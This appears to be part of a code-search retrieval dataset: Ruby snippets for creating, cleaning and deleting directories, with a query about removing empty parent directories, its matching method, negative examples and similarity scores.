"def ensure_parent( file )\n \n parent = File.dirname( file )\n raise \"No parent exists for #{file}\" unless parent\n \n ensure_dir( parent )\n\n file\nend",
"def make_data_dir\n unless Dir.exist?(self.data_store_path)\n FileUtils.mkdir_p(self.data_store_path)\n end\n end",
"def make_dir (dirname)\n begin\n unless File.exists?(dirname)\n puts \"[add] making directory '#{dirname}'\"\n FileUtils.mkdir(dirname)\n end\n rescue Exception => e\n puts \"An error occurred when trying to create the directory '#{dirname}', exception found was: \"+ e.message\n exit 1\n end\n end",
"def setup(target)\n Dir.mkdir(target) unless File.directory?(target)\nend",
"def setup\n @clarisse_dir = @path.join(CLARISSE_DIR)\n if File.exists? @clarisse_dir \n if not File.directory? @clarisse_dir\n raise SetupError.new (\n \"Could not create directory #{@clarisse_dir}. A file with that name \" +\n \"already exists.\"\n )\n elsif not File.readable? @clarisse_dir or not File.writable? @clarisse_dir\n raise SetupError.new (\n \"Clarisse has not enough permissions to write to '#{@clarisse_dir}'\"\n )\n end\n else\n begin\n Dir.mkdir(@clarisse_dir)\n rescue SystemCallError => e\n raise SetupError, \"Failed to create directory '#{@clarisse_dir}'\"\n end\n end\n end",
"def create_directory\n return if File.exist? config_directory\n\n begin\n FileUtils.mkdir config_directory\n rescue Errno::EEXIST\n end\n end",
"def create_user_directories\n #Directories\n avatar = \"#{Rails.root}/data/avatars/#{resource.id}\"\n push = \"#{Rails.root}/data/push/#{resource.id}\"\n passes = \"#{Rails.root}/data/passes/#{resource.id}\"\n coredata = \"#{Rails.root}/data/coredata/#{resource.id}\"\n #Avatar Upload Pictures\n Dir.mkdir(avatar) unless File.exists?(avatar)\n #Push Notification Certificates\n Dir.mkdir(push) unless File.exists?(push)\n #Avatar Passbook\n Dir.mkdir(passes) unless File.exists?(passes)\n #Core Data\n Dir.mkdir(coredata) unless File.exists?(coredata)\n end",
"def createEmptyFolder(path)\n FileUtils.remove_dir(path) if Dir.exist?(path)\n FileUtils.mkdir_p(path)\nend",
"def mkdir_p(path)\n if !Dir::exist? path\n Dir::mkdir path\n end\nend",
"def create_dir(filename)\n expanded_filename = \"#{working_dir}/#{filename}\"\n FileUtils.mkdir_p expanded_filename\n expanded_filename\n end",
"def makedir(dir)\n FileUtils.mkdir_p dir\n end",
"def create_backup_path\n if File.exist?(@new_path)\n if !File.directory?(@new_path)\n #TODO: error properly\n abort\n end\n else\n FileUtils.mkdir_p @new_path\n end\n end",
"def mkdir(dir)\n Dir.mkdir dir unless File.exists?(dir)\nend",
"def check_or_create_working_dir\n unless Dir.exists?(@working_directory)\n if File.writable?(@working_directory.split(\"/\")[0...-1].join(\"/\"))\n Dir.mkdir(@working_directory)\n return true if Dir.exists?(@working_directory)\n end\n end\n Loggers::Main.log.warn \"Creation of #{@working_directory} failed!\"\n end",
"def setup_filesystem\n FileUtils.mkdir_p($out_pth)\n FileUtils.mkdir_p($log_dir)\n end",
"def create_dir(dir)\n\t\tif !FileTest::directory?(dir)\n\t\t\tDir::mkdir(dir)\n\t\tend\n\tend",
"def mkdir_if_not_exist(dir)\n FileUtils.mkdir_p(dir) unless Dir.exist?(dir)\n dir\n end",
"def save_file\n FileUtils.mkdir_p(File.dirname(full_filename))\n FileUtils.cp(temp_path, full_filename)\n FileUtils.chmod(0644, full_filename)\n end",
"def create_dir(dir)\n Dir.mkdir(dir) unless File.exists?(dir)\n end",
"def create_dirs\n FileUtils.mkdir_p(@work_dir) unless File.exist?(@work_dir)\n end",
"def provision_directory\n Dir.mkdir(@directory) unless Dir.exists?(@directory)\n end"
] | [
"0.7606959",
"0.7197922",
"0.7135695",
"0.7133732",
"0.7124492",
"0.7109498",
"0.7090023",
"0.699093",
"0.6986757",
"0.6981973",
"0.69757754",
"0.69732857",
"0.69710934",
"0.69115514",
"0.69115514",
"0.68944305",
"0.68728375",
"0.6853175",
"0.683741",
"0.6814181",
"0.6808982",
"0.67493385",
"0.6740764",
"0.6702645",
"0.6680655",
"0.66586065",
"0.66082853",
"0.6589617",
"0.65693545",
"0.65677667",
"0.65631855",
"0.65518224",
"0.6540966",
"0.6527873",
"0.6526776",
"0.65254086",
"0.651976",
"0.6519609",
"0.65105337",
"0.6485942",
"0.6482507",
"0.6479592",
"0.64360446",
"0.6399113",
"0.6396866",
"0.63964653",
"0.63964653",
"0.63862383",
"0.63735217",
"0.6357077",
"0.63445723",
"0.63440883",
"0.6339905",
"0.63376814",
"0.6333917",
"0.6333071",
"0.63305855",
"0.6320453",
"0.63135237",
"0.6293466",
"0.6293021",
"0.629031",
"0.62894666",
"0.62752384",
"0.6273046",
"0.6273046",
"0.6273046",
"0.62671834",
"0.6263378",
"0.62166804",
"0.62071854",
"0.62065023",
"0.62018126",
"0.61944824",
"0.61922944",
"0.6189648",
"0.61777437",
"0.6168718",
"0.6166811",
"0.6159217",
"0.6146448",
"0.6143953",
"0.61391425",
"0.61387426",
"0.6122359",
"0.61114925",
"0.61072123",
"0.6097143",
"0.6092425",
"0.6087365",
"0.60811394",
"0.6080958",
"0.6065555",
"0.606455",
"0.6063242",
"0.6060297",
"0.6060135",
"0.60546005",
"0.60524344",
"0.60480547"
] | 0.772864 | 0 |
Removes the file's directory if it is empty. Recusively deletes directories going up the tree until it reaches a nonempty directory. Thumbs.db and .DS_Store files are removed if they are the only contents of a directory. | def remove_empty_directory(path = nil)
dir = path || File.dirname(full_path)
dir.gsub!(/(\/+\.\.?\/*)*$/, '')
system_files = %w(Thumbs.db .DS_Store)
if File.directory?(dir) and !File.symlink?(dir) and (Dir.entries(dir) - %w(. ..) - system_files).empty?
system_files.each { |sys| File.delete("#{dir}/#{sys}") if File.exists?("#{dir}/#{sys}") }
Dir.rmdir(dir)
remove_empty_directory(dir.gsub(/\/+[^\/]*\/*$/, ''))
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_file_and_clean_directories( path )\n # first, delete the file\n delete_file( path )\n # recursively remove any parent directories, but only if they are empty, stop if they are not\n remove_empty_folders_recursively( path )\n end",
"def delete\n File.delete fullpath\n dirname = File.dirname(fullpath)\n while dirname != root\n Dir.rmdir(dirname)\n dirname = File.dirname(dirname)\n end\n rescue Errno::ENOTEMPTY\n end",
"def clean(path)\n path.dirname.ascend do |pathname|\n if Dir.empty?(pathname) && pathname != directory\n pathname.rmdir\n else\n break\n end\n end\n end",
"def empty_non_root_directory path\n check_path_for_danger_to_remove path\n\n logger.debug \"Removing content of '#{File.join path, '*'}'\"\n FileUtils.rm_rf Dir.glob(File.join(path, '*'))\n FileUtils.rm_rf Dir.glob(File.join(path, '.*')).select {|f| f !~ /\\/..?$/}\n end",
"def delete_files_and_empty_parent_directories\n style_names = reflection.styles.map{|style| style.name} << :original\n # If the attachment was set to nil, we need the original value\n # to work out what to delete.\n if column_name = reflection.column_name_for_stored_attribute(:file_name)\n interpolation_params = {:basename => record.send(\"#{column_name}_was\")}\n else\n interpolation_params = {}\n end\n style_names.each do |style_name|\n path = interpolate_path(style_name, interpolation_params) or\n next\n FileUtils.rm_f(path)\n begin\n loop do\n path = File.dirname(path)\n FileUtils.rmdir(path)\n end\n rescue Errno::EEXIST, Errno::ENOTEMPTY, Errno::ENOENT, Errno::EINVAL, Errno::ENOTDIR\n # Can't delete any further.\n end\n end\n end",
"def prune_empty_directories(path)\n all_files = all_files(path)\n\n directories = all_files.select { |x| File.directory?(x) }\n directories.sort! { |a, b| b.size <=> a.size }\n\n directories.each do |directory|\n entries = all_files(directory)\n FileUtils.rmdir(directory) if entries.empty?\n end\n end",
"def delete_dir!(path)\n # do nothing, because there's no such things as 'empty directory'\n end",
"def clean_dir\n\n path = self.get_dir\n _clean_dir(path)\n end",
"def destroy\n delete_files_and_empty_parent_directories\n end",
"def delete_empty(directory) \n log_file(\"[START] running empty folder deletion...\")\n\n dir(directory + '**/*').each do |path|\n if (File.directory?(path) && tree_empty?(path)) then\n log_file(\"This folder is empty and will be deleted: \" + path)\n trash(path)\n end\n end\n log_file(\"[COMPLETE] ...empty folder deletion done.\")\n\nend",
"def clean(id)\n path(id).dirname.ascend do |pathname|\n if pathname.children.empty? && pathname != directory\n pathname.rmdir\n else\n break\n end\n end\n end",
"def destroy_upload_dir\n dir = File.expand_path \"../\", file.path\n FileUtils.rm_rf dir\n end",
"def unlink_file\n unless is_placeholder_directory?\n FileUtils.rm path if File.file?(path)\n else\n FileUtils.rmdir path if Dir.entries(path) == [\".\", \"..\"]\n end\n end",
"def clean_out_log_directory(dir)\n Pathstring(dir).children.each do |item|\n if item.directory?\n # First clean out inside the directory\n clean_out_log_directory(item)\n\n # Then, if it is empty, delete it\n if item.empty?\n # OSX::NSLog \"Removing directory: #{file.basename}\"\n item.unlink\n end\n else # Not a directory, so a normal file\n unless Pathstring(item).basename.scan(/rolling/)[0] # Note: This depends on the convention to include 'rolling' in the name of persistent files. TODO: Remove older rolling logs.\n # If it is not a persistent log\n # remove it\n # OSX::NSLog \"Removing log: #{item.basename}\"\n item.unlink\n end\n end\n end\nend",
"def clean_dir(dir)\n Dir.glob(File.join(dir, '*')).each {|d| clean_dir(d); Dir.rmdir(d) rescue nil}\nend",
"def delete_file_and_folder!( file_path )\n FileUtils.rm_f file_path\n boundary = adapter_path + '/'\n loop do\n file_path = File.dirname file_path\n break unless file_path.index boundary\n FileUtils.rmdir file_path\n end\n end",
"def rmdir_if_empty_ie path\n rmdir path if File.exist?(path) && dir_empty?(path)\n end",
"def cleanup\n if dir and File.exists?(dir)\n FileUtils.rm_rf(dir)\n end\n\n nil\n end",
"def purge(directory)\n\tDir[\"#{directory}/*\"].each do |file|\n\t\tnext if file == '.' || file == '..'\n\t\tif File.directory? file\n\t\t\tif ($silent == false || $silent == nil)\n#\t\t\t\tputs \" purging #{File.expand_path(file).gsub($basedir, '')}\"\n\t\t\tend#if\n\t\t\tpurge(File.expand_path(file))\n\t\t\tif (Dir.entries(file) - %w[ . .. ]).empty?\n\t\t\t\tif ($silent == false || $silent == nil)\n#\t\t\t\t\tputs \" cleaning #{file.gsub($basedir, '')}\"\n\t\t\t\tend#if\n\t\t\t\tDir.rmdir file\n\t\t\tend#if\n\t\telsif file !~ /^\\..*$/ # ignore dot files\n\t\t\tif ($silent == false || $silent == nil)\n#\t\t\t\tputs \" removing #{file.gsub($basedir, '')}\"\n\t\t\tend#if\n\t\t\tFileUtils.rm_rf file, :noop => false, :verbose => false\n\t\tend#if\n\tend#each\nend",
"def rmdir() Dir.rmdir(path) end",
"def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end",
"def delete_dir_contents(target_dir)\n Find.find(target_dir) do |x|\n if File.file?(x)\n FileUtils.rm(x)\n elsif File.directory?(x) && x != target_dir\n FileUtils.remove_dir(x)\n end\n end\n end",
"def rollback_file(file, contents)\n if contents.present?\n File.open(file, \"w\") { |f| f << contents }\n else\n File.delete(file)\n begin\n dir = File.dirname(file)\n until dir == Rails.root\n Dir.rmdir(dir) # delete current folder\n dir = dir.split(\"/\")[0..-2].join(\"/\") # select parent folder\n end\n rescue Errno::ENOTEMPTY # Directory not empty\n end\n end\n end",
"def clean_directory\n Dir.foreach(@server_dir) do |file|\n fn = File.join(@server_dir, file)\n File.delete(fn) if fn[-1] != '.'\n end\n end",
"def clear_directory(dir)\n puts dir\n if(File.exists?(dir))\n Dir.foreach(dir){|entry|\n puts entry\n if(File.file?(entry))\n File.delete(entry)\n end\n }\n end\n end",
"def delete_empty_directories(dir)\n return if File.realpath(dir) == File.realpath(@root_path)\n if Dir.entries(dir).reject{ |f| EXCLUDED_DIRS.include?(f) }.empty?\n Dir.delete(dir) rescue nil\n delete_empty_directories(File.dirname(dir))\n end\n end",
"def clean_up\n @files.each {|file| FileUtils.remove(file.path)}\n end",
"def delete\n if (exists?)\n list.each do |children|\n children.delete\n end\n factory.system.delete_dir(@path)\n end\n end",
"def remove_directory(path)\n FileUtils.rm_rf(path)\n end",
"def remove_directory(path)\n FileUtils.rm_rf(path)\n end",
"def purge(full_path)\n\t\traise \"No.\" if full_path == '/'\n\t\tDir.chdir(full_path) do\n\t\t\tall = Dir.glob(\"*\", File::FNM_DOTMATCH).reject { |f| f == '.' or f == '..' }\n\t\t\tFileUtils.rm_rf all\n\t\tend\n\t\ttrue\n\tend",
"def purge(full_path)\n\t\traise \"No.\" if full_path == '/'\n\t\tDir.chdir(full_path) do\n\t\t\tall = Dir.glob(\"*\", File::FNM_DOTMATCH).reject { |f| f == '.' or f == '..' }\n\t\t\tFileUtils.rm_rf all\n\t\tend\n\t\ttrue\n\tend",
"def rm_r(dir)\n Dir.entries(dir).each do |entrada|\n if (File.directory?(\"#{dir}/#{entrada}\") and (entrada != \".\" and entrada != \"..\") )\n rm_r(\"#{dir}/#{entrada}\")\n Dir.delete(\"#{dir}/#{entrada}\")\n else\n File.delete(\"#{dir}/#{entrada}\") if (entrada != \".\" and entrada != \"..\")\n end\n end\nend",
"def delete_uploaded_file\r\n return unless file_exists?\r\n File.delete(full_path)\r\n remove_empty_directory\r\n @saved_full_path = nil\r\n end",
"def remove_directory(dir)\n if(File.exists?(dir))\n clear_directory(dir)\n FileUtils.rm_r dir, :force => true\n end\n end",
"def cleanup\n\t\tfile_count = 0\n\t\tif File.directory?(@file_path)\n\t\t\tDir.foreach(@file_path) do |f|\n\t\t\t\tfile_count += 1\n\t\t\t fn = File.join(@file_path, f)\n\t\t\t File.delete(fn) if f != '.' && f != '..'\n\t\t\tend\n\t\t\tDir.delete(@file_path)\n\t\t\tmsg = \"Cleaned up #{file_count} files\"\n\t\telse\n\t\t\thalt 422, \"No directory\"\n\t\tend\n\t\t{ msg: msg }\n\tend",
"def remove_dir(path)\n FileUtils.remove_dir(path) if File.directory?(path)\n end",
"def clean\n cache = Cache.instance\n # remove all built files\n cache.targets(false).each do |target|\n cache.remove_target(target)\n FileUtils.rm_f(target)\n end\n # remove all created directories if they are empty\n cache.directories(false).sort {|a, b| b.size <=> a.size}.each do |directory|\n cache.remove_directory(directory)\n next unless File.directory?(directory)\n if (Dir.entries(directory) - ['.', '..']).empty?\n Dir.rmdir(directory) rescue nil\n end\n end\n cache.write\n end",
"def remove_file(file)\n if File.exists?(file) && !File.directory?(file)\n rm_rf file\n end\nend",
"def rmtree(directory)\r\n Dir.foreach(directory) do |entry|\r\n next if entry =~ /^\\.\\.?$/ # ignore . and .. as usual\r\n path = directory + \"/\" + entry\r\n if FileTest.directory?(path)\r\n rmtree(path)\r\n else\r\n File.delete(path)\r\n end\r\n end\r\n Dir.delete(directory)\r\n end",
"def clean_dir(dir)\n Dir.chdir(dir)\n Dir.glob('*').each {|f| FileUtils.rm f }\n end",
"def delete_root\n Dir.chdir(root) do\n Dir.entries('.').each do |entry|\n next if entry == '.' || entry == '..'\n next if entry == FILES_DIR && task.options.copy_files_with_symlink\n\n begin\n FileUtils.remove_entry_secure(entry)\n rescue\n if task.options.copy_files_with_symlink\n print_title('Cannot automatically empty ' + root + '. Please manually empty this directory (except for ' + root + '/' + FILES_DIR + ') and then hit any key to continue...')\n else\n print_title('Cannot automatically empty ' + root + '. Please manually empty this directory and then hit any key to continue...')\n end\n STDIN.getch\n break\n end\n end\n end\n\n logger.info(\"#{root} content was deleted\")\n end",
"def recursively_delete_dir(dir)\n FileUtils.rm_rf(dir) # or use FileUtils.rm_r(dir, :force => true)\n # system(\"rm -rf #{dir}\")\n end",
"def remove_structure\n rm_rf target_dir\n end",
"def clean!\n FileUtils.rm_rf(dir)\n end",
"def erase(storage_path)\n super\n file = absolute_path(storage_path)\n FileUtils.rm file if File.exists?(file)\n\n dir = File.dirname(file)\n while File.expand_path(parent = File.dirname(dir)).size > File.expand_path(options[:absolute_base] || '.').size\n FileUtils.rm_rf(dir) if File.exists?(dir) && directory_empty?(dir)\n dir = parent\n end\n FileUtils.rm_rf(dir) if File.exists?(dir) && directory_empty?(dir)\n end",
"def delete_directory_or_file(dir_or_file)\n if File.exist?(dir_or_file)\n FileUtils.rm_rf(dir_or_file)\n end\n end",
"def remove_empty_directories\n base_paths.each do |path|\n command = <<-CMD\n for directory in $(find #{path} -type d); do\n if [ ! -d $directory ]; then\n echo \"Can't find directory $directory, it was probably already deleted, skipping . . .\"\n continue\n fi\n files=$(find $directory -type f)\n if [ -z \"$files\" ]; then\n echo \"No files in directory $directory, deleting . . .\"\n sudo rm -rf $directory\n fi\n done\n CMD\n Pkg::Util::Net.remote_execute(Pkg::Config.staging_server, command)\n end\n end",
"def destroy\n run_callbacks :destroy do\n if directory?\n logger.info \"Delete directory at #{absolute_path}\"\n FileUtils.rmdir absolute_path\n else\n logger.info \"Delete file at #{absolute_path}\"\n # TODO if the file has added state (not committed), reset it to HEAD\n if status_file.untracked\n FileUtils.rm absolute_path\n else\n remove\n end\n end\n true\n end\n end",
"def clean_up\n Dir.foreach(Dir.pwd) do |f|\n if !f.start_with?('tmp_') then next\n elsif File.directory?(f) then FileUtils.rm_rf(f)\n else FileUtils.rm(f)\n end\n end\nend",
"def empty_directory(directory)\n return unless File.exist?(directory)\n\n FileUtils.remove_entry(directory)\n FileUtils.mkdir(directory)\nend",
"def delete_dir(path)\n Dir.foreach(@old_base + path) do |fname|\n path_fname = path + fname\n next if fname == '.' || fname == '..' || filter_fname(path_fname)\n type = File.ftype(@old_base + path_fname).to_sym\n delete_dir(path_fname + '/') if type == :directory\n @entries << [path_fname, type, :deleted]\n end\n end",
"def purge_directory(path)\n remove_directory(path)\n create_directory(path)\n end",
"def purge_directory(path)\n remove_directory(path)\n create_directory(path)\n end",
"def cleandir(dir)\n if FileTest.directory?(dir)\n files = []\n Find.find(dir) { |f|\n files.push(f)\n }\n files.shift\t\t# get rid of 'dir'\n files.reverse_each { |f|\n if FileTest.directory?(f)\n Dir.delete(f)\n else\n File.delete(f)\n end\n }\n end\n end",
"def remove_dir path\r\n files = []\r\n dirs = []\r\n\r\n @ftp.list path do |line|\r\n name = line.split(' ', 9)[8] #should be file or dir name\r\n is_dir = line.chars.to_a[0] == 'd' #first character is 'd' for dirs\r\n if is_dir\r\n dirs << name\r\n else\r\n files << name\r\n end\r\n end\r\n\r\n files.each do |file|\r\n remove_file(File.join(path, file))\r\n end\r\n\r\n dirs.each do |dir|\r\n unless dir == '.' || dir == '..'\r\n remove_dir(File.join(path, dir))\r\n end\r\n end\r\n\r\n begin\r\n @ftp.rmdir path\r\n rescue Net::FTPPermError\r\n end\r\n end",
"def delete_dir dir_name\n puts \"Deleting #{dir_name}...\"\n files = Dir.entries(HTML_DIR)\n files.delete(\".\")\n files.delete(\"..\")\n files.each {|file| File.delete(File.join(HTML_DIR, file))}\n Dir.delete(HTML_DIR)\nend",
"def cleanup(dir)\n Dir.glob(dir+\"/*\").each do |file|\n File.unlink(file)\n end\n Dir.unlink(dir)\nend",
"def clean_up\n FileUtils.rm_rf \"#{@path}\" unless create_in_current_directory?\n FileUtils.rm_rf \"#{@cache}\"\n end",
"def rmdir\n util.rmdir(path)\n end",
"def flush_dir(dirName)\r\n\tif File.directory?(dirName)\r\n\t\tFileUtils.remove_dir(dirName, true)\r\n\tend\r\nend",
"def flush_dir(dirName)\r\n\tif File.directory?(dirName)\r\n\t\tFileUtils.remove_dir(dirName, true)\r\n\tend\r\nend",
"def clean\n FileUtils.remove_dir(@log_dir, true)\n end",
"def clean\n Dir.foreach(@wd) do |file|\n next if file.start_with?('.') or (file == \"config\")\n filename = File.join(@wd, file)\n FileUtils.remove_file(filename) if File.file?(filename)\n end\n end",
"def purge\n\n FileUtils.remove_dir(@basepath)\n end",
"def delete_empty_upstream_dirs\n path = ::File.expand_path(store_dir, root)\n Dir.delete(path) # fails if path not empty dir\n\n path = ::File.expand_path(base_store_dir, root)\n Dir.delete(path) # fails if path not empty dir\n rescue SystemCallError\n true # nothing, the dir is not empty\n end",
"def fileCleanPath(pathName) \n pathName.mkpath()\n begin\n pathName.rmtree()\n rescue\n puts \"Cannot delete: \" + pathName.to_s\n end\n pathName.mkpath()\nend",
"def clean_tmp_upload_dir\n FileUtils.rm_r(tmp_upload_dir) if self.tmp_upload_dir && File.directory?(self.tmp_upload_dir)\n end",
"def destroy()\n\n path = self.get_dir\n FileUtils.remove_entry_secure(path, true)\n _clean_dir(File.dirname(path))\n\n super()\n end",
"def delete\n FileUtils.remove_entry_secure(@directory)\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::ENOENT\n end",
"def destroy\n FileUtils.rm_r(directory) if exist?\n end",
"def remove_images_dir\n if @gallery.images.present?\n dir = File.dirname(@gallery.images.first.current_path)\n FileUtils.remove_dir dir if Dir.empty?(dir)\n end\n end",
"def cleanup\n FileUtils.rm_f(@path)\n delete\n end",
"def delete_dir_base(dir_name)\n FileUtils.remove_dir(dir_name)\n end",
"def cleanup_dirs\n @cleanup_dirs ||= ['.']\n end",
"def remove(path, ctype, recursive=false, preserve_metadata=false)\n prune = recursive ? nil : 1\n count = 0\n nodes = @content_tree.subtree(path, ctype, prune)\n # NOTE: delete children first, hence the reverse()\n nodes.reverse.each do |node|\n ntype = node.node_type\n # first remove all files, then remove directories\n next if (node.kind_of? ContentRepo::DirNode)\n @content_tree.remove_node(node)\n remove_doc_resources(from_path, to_path) if ntype == :document\n remove_metadata(node.path, ntype, nil) unless preserve_metadata\n notify(EVENT_REMOVE, path, ctype)\n count += 1\n end\n\n # Remove all empty directories under path\n content_tree.remove_empty_dirs(path)\n metadata_tree.remove_empty_dirs(path)\n\n count\n end",
"def clean()\n\t\ttmpdir = Dir.open(@tmpout) do |dir|\n\t\t\tdir.each do |file|\n\t\t\t\tif file != \".\" and file != \"..\" then\n\t\t\t\t\tFile.unlink(@tmpout + \"/\" + file)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tDir.rmdir @tmpout\n\tend",
"def delete\n if stat.directory?\n FileUtils.rm_rf(file_path)\n else\n ::File.unlink(file_path)\n end\n ::File.unlink(prop_path) if ::File.exist?(prop_path)\n @_prop_hash = nil\n NoContent\n end",
"def delete_directory_contents(options)\n Process::Delete::DirectoryContents.delete(options[:directory_path])\n end",
"def _clean_dir(path)\n\n if File.expand_path(path) == File.expand_path(THETIS_MAIL_LOCATION_DIR)\n return\n end\n\n files_dirs = Dir.glob(File.join(path, '**/*'))\n if files_dirs.nil? or files_dirs.empty?\n FileUtils.remove_entry_secure(path, true)\n _clean_dir(File.dirname(path))\n end\n end",
"def delete_files\n return if id.nil?\n return unless File.exist?(directory_path)\n\n FileUtils.rm_rf(directory_path)\n s3_delete_files\n end",
"def rm_dir(dir)\n @dirs.delete(dir.path)\n end",
"def rm_dir(dir)\n @dirs.delete(dir.path)\n end",
"def remove_avatar_dir\n dir = File.dirname(@account.avatar.current_path)\n FileUtils.remove_dir dir if Dir.empty?(dir)\n end",
"def cleanup\n # the state file, if any, is always temporary.\n if @state_file_path && ::File.file?(@state_file_path)\n ::File.unlink(@state_file_path)\n end\n\n # remove any directories listed as temporary by config.\n (config.cleanup_dirs || []).each do |dir|\n ::FileUtils.rm_rf(dir) if ::File.directory?(dir)\n end\n true\n end",
"def clean_dir\n File.join clean_dir_parent, name\n end",
"def clean_directory(path, types=nil, run_context=nil)\n raise 'clean_directory path must be a non-empty string!' if path.nil? or path.empty?\n types ||= [\n Chef::Resource::File,\n Chef::Resource::Link,\n Chef::Resource::CookbookFile,\n Chef::Resource::RemoteFile,\n Chef::Resource::Template,\n ]\n run_context ||= node.run_context\n\n # find the chef files generated\n chef_files_generated = run_context.resource_collection.select { |r|\n types.include?(r.class) and r.path.start_with?(path)\n }.map { |r| r.path }\n\n # find the fileststem files present\n filesystem_files_present = Dir[\"#{path}/**/*\"].select { |f|\n ::File.file?(f) or ::File.symlink?(f)\n }\n\n # calculate the difference, and remove the extraneous files\n (filesystem_files_present - chef_files_generated).each do |f|\n if ::File.symlink?(f)\n link \"clean_directory: #{f}\" do\n target_file f\n action :delete\n end\n else\n file \"clean_directory: #{f}\" do\n path f\n action :delete\n end\n end\n end\nend",
"def unlink!\n FileUtils.rm_rf(directory)\n end",
"def clean_up\n FileUtils.rm_rf @temp_root\n end",
"def clear\n raise \"unsafe test stage directory -- #{Dir.pwd}\" unless /#{Dir.tmpdir}/ =~ Dir.pwd\n Dir['*'].each do |path|\n FileUtils.rm_r(path)\n end\n end",
"def cleanup(build_dir)\n build_dir = Pathname(build_dir)\n tmp_build_dir = Pathname('.temp-build')\n\n # copy over files we need to keep\n if File.directory?(build_dir)\n build_dir.glob(\"**/all-product-headers.yaml\").each do |file|\n intermediate = Pathname(file).relative_path_from(build_dir).dirname\n destination_dir = tmp_build_dir + intermediate\n\n FileUtils.mkdir_p(destination_dir)\n FileUtils.mv(file, destination_dir)\n end\n\n build_dir.rmtree if build_dir.directory?\n FileUtils.mv(tmp_build_dir, build_dir)\n end\nend",
"def cleanup(path)\n Monsove.logger.info(\"Cleaning up local path #{path}\")\n\n FileUtils.rm_rf(path)\n File.delete(\"#{path}.tar.bz2\")\n end",
"def remove_image_directory\n FileUtils.remove_dir(\"#{Rails.root}/public/uploads/service/image/#{id}\",\n force: true)\n end",
"def clean(dir)\n\tFind.find(dir){|f|\n\t\tnext unless FileTest.file?(f)\n\t\tif File.basename(f) != \".gitkeep\"\n\t\t\tFile.delete(f)\n\t\tend\n\t}\nend",
"def delete_completely(root, resource)\n path = File.join(root, resource.path(identifying_sym))\n FileUtils.rm_rf(path)\n\n # removes the empty directories upward\n (resource.identifiers(identifying_sym).size - 1).times do |t|\n path = File.split(path).first\n begin\n FileUtils.rmdir(path)\n rescue Errno::ENOTEMPTY\n break\n end\n end\n end",
"def destroy\n error = nil\n\n if @file.directory_id.nil?\n render_error \"Cannot remove root directory. Delete the project, instead.\"\n else\n begin\n ActiveRecord::Base.transaction do\n delete_file(@file, true);\n render json: \"\", serializer: SuccessSerializer\n end\n rescue\n render_error \"Files could not be deleted.\"\n end\n end\n end",
"def rm\n FileUtils.rm path if File.exist?(path)\n end",
"def remove_dirs()\n puts \"Removing test directories...\"\n \n if File::exist?(\"tmp\") && File::directory?(\"tmp\")\n FileUtils.rm_rf(\"tmp\") \n end\n exit 0\nend",
"def clean(name)\n return false if exists?(name)\n path = File.join(directory, dir_name(name))\n FileUtils.rm_rf(path)\n end",
"def destroy_tree_from_leaves\n self.subdirectories.each do |subdirectory|\n subdirectory.destroy_tree_from_leaves\n end\n self.subdirectories.reload\n self.cfs_files.each do |cfs_file|\n cfs_file.destroy!\n end\n self.cfs_files.reload\n self.destroy!\n end"
] | [
"0.7876363",
"0.7431147",
"0.735552",
"0.7164017",
"0.7158658",
"0.7134201",
"0.70936924",
"0.6960207",
"0.6943068",
"0.68454456",
"0.6800318",
"0.6778718",
"0.6776878",
"0.6767045",
"0.6748883",
"0.67399156",
"0.67366195",
"0.66414785",
"0.65970296",
"0.6578105",
"0.6546556",
"0.65314996",
"0.651571",
"0.6511351",
"0.6501819",
"0.64889055",
"0.6463383",
"0.6460649",
"0.6454319",
"0.6454319",
"0.6453691",
"0.6453691",
"0.6452658",
"0.6444966",
"0.6428175",
"0.64278966",
"0.6424115",
"0.64104027",
"0.64016694",
"0.6392189",
"0.638334",
"0.6381988",
"0.6369637",
"0.6356082",
"0.6348012",
"0.63257754",
"0.63209164",
"0.63107365",
"0.63048047",
"0.6300173",
"0.6296259",
"0.62887704",
"0.6288605",
"0.6288605",
"0.62783694",
"0.6247656",
"0.6245885",
"0.6234573",
"0.6215873",
"0.62103623",
"0.6207043",
"0.6207043",
"0.61963123",
"0.61830705",
"0.6181997",
"0.6178793",
"0.61700463",
"0.61486197",
"0.61323255",
"0.6124271",
"0.6116941",
"0.6101878",
"0.6070647",
"0.6054582",
"0.60400075",
"0.6032433",
"0.6028805",
"0.6025669",
"0.6023868",
"0.5984947",
"0.5983604",
"0.59819174",
"0.5976874",
"0.59682816",
"0.59515095",
"0.5950899",
"0.5934192",
"0.59209776",
"0.59190077",
"0.5915595",
"0.59002566",
"0.5898166",
"0.5896392",
"0.58800465",
"0.58720434",
"0.5867193",
"0.5863997",
"0.5862147",
"0.5852841",
"0.5848085"
] | 0.7812255 | 1 |
validates_presence_of :data, :if => :screening? | def screening?
self.tip == "screening"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def valid?\n data\n end",
"def valid?\n data\n end",
"def validates_presence(atts, opts={})\n validatable_attributes(atts, opts){|a,v,m| (m || \"is not present\") if model.db.send(:blank_object?, v) && v != false}\n end",
"def _validate_presence_of_record(record)\n\t\traise ActiveRecord::RecordNotFound, PRESENCE_REQUESTED if record.nil?\n\tend",
"def check_required_fields(data)\r\n @field_names[1..-1].each do |f|\r\n raise(ArgumentError,\r\n 'A value for this field is required: %s' % f) if \\\r\n @field_requireds[@field_names.index(f)] and data[f].nil? \r\n end\r\n end",
"def universal_validation_checks (data, options={})\n # shortcircuit if debugging\n return true if RubyMotionQuery::RMQ.debugging?\n # allow blank data if specified\n return true if (options[:allow_blank] && (data.nil? || data.empty?))\n # allow whitelist data if specified\n return true if (options[:white_list] && options[:white_list].include?(data))\n\n false\n end",
"def validate\n validates_presence([:name, :phone])\n end",
"def validate\n super\n validates_presence [:code, :preference, :type_param_id, :application_id]\n end",
"def assert_valid(data=@data, &blk)\n check = create_check(data, &blk)\n check.screen = @screen if @screen\n assert check.call\n end",
